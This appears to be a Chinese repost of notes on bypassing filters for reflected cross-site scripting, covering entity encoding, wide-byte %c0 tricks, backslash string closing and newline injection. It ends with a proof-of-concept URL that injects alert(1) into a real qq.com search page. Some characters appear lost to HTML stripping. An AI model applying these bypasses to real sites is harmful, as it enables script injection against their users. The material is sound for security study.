您的位置:首页 > 其它

反射型XSS绕过案例总结

2015-06-26 09:53 330 查看
1.查看
< / "
等字符的过滤情况如果没有,直接X。

什么都没过滤的入门情况

2.考虑用
&#x
的形式代替,如果没有过滤
& #
理论上可以代替任意字符,但是一般都会将&过滤为
&


输出在
<script></script>
之间的情况
//这里构造的代码没懂

输出在HTML属性里的情况

3.gbXXXX系列的可以考虑使用宽字符
%c0
杀掉双引号,可能是因为过滤的正则写的有问题。

宽字节复仇记 [QQ邮箱基本通用]

4.
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m=";


如上所示代码:

1用\来闭合双引号,//注视掉后面代码
2将=改为==提高优先级
3可是在解析时浏览器提示from未声明,浏览器会优先解析function XXX(){} 的JS函数,添加如上代码
4发现空格被过滤掉了用/**/代替空格


反斜线复仇记

5.输出出现在注释中使用换行符
%0a
来使之后的代码生效。

换行符复仇记

6.前面知识的综合应用

http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);//


目标参数orderby

1.使用换行符`%0a`使JS代码生效
2.使用反斜线`%5c`解决语法错误,但是发现\被过滤为\\
3.使用宽字符`%c0`杀掉一个反斜线最终保留一个反斜线,成功构造如上代码


以上资料来自心伤的瘦子@乌云
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息